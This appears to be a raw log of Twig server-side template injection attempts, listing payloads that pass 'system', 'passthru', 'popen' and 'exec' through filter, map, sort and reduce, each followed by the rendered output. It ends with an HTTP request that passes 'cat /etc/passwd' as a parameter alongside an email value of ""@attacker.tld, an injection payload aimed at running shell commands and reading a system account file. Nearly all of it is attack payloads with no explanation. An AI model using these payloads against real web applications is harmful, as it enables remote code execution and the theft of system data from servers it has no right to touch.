<div>User Name</div>

<div>['id']|filter('system')|join</div>
[&quot;id&quot;]

<div>['echo']|filter('passthru')|join</div>
[&quot;echo&quot;]

<div>['echo']|filter('popen')|join</div>
[&quot;echo&quot;]

<div>['echo']|filter('exec')|join</div>
[&quot;echo&quot;]

<div>['id']|filter('SysteM')|join</div>
[&quot;id&quot;]

<div>['touch+/tmp/test+']|filter('system')|join(',')</div>
[&quot;touch+\/tmp\/test+&quot;]

<div>[34, 36, 38, 40, 42]|filter(v => v > 38)|join(', ')</div>
[34,36,38,40,42]

<div>app.request.server.all|join(',')</div>


<div>self</div>


<div>[0]|reduce('system','echo')</div>
0

<div>[1, 2, 3]|reduce((carry, v) => carry + v)</div>
1, 2, 3

<div>['echo']|map('system')|join</div>
echo

<div>{"Bob": "Smith", "Alice": "Dupond"}|map((value, key) => "#{key} #{value}")|join(', ')</div>
Smith, Dupond

<div>['echo',1]|sort('system')|join</div>
[&quot;echo&quot;,1]

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email=""@attacker.tld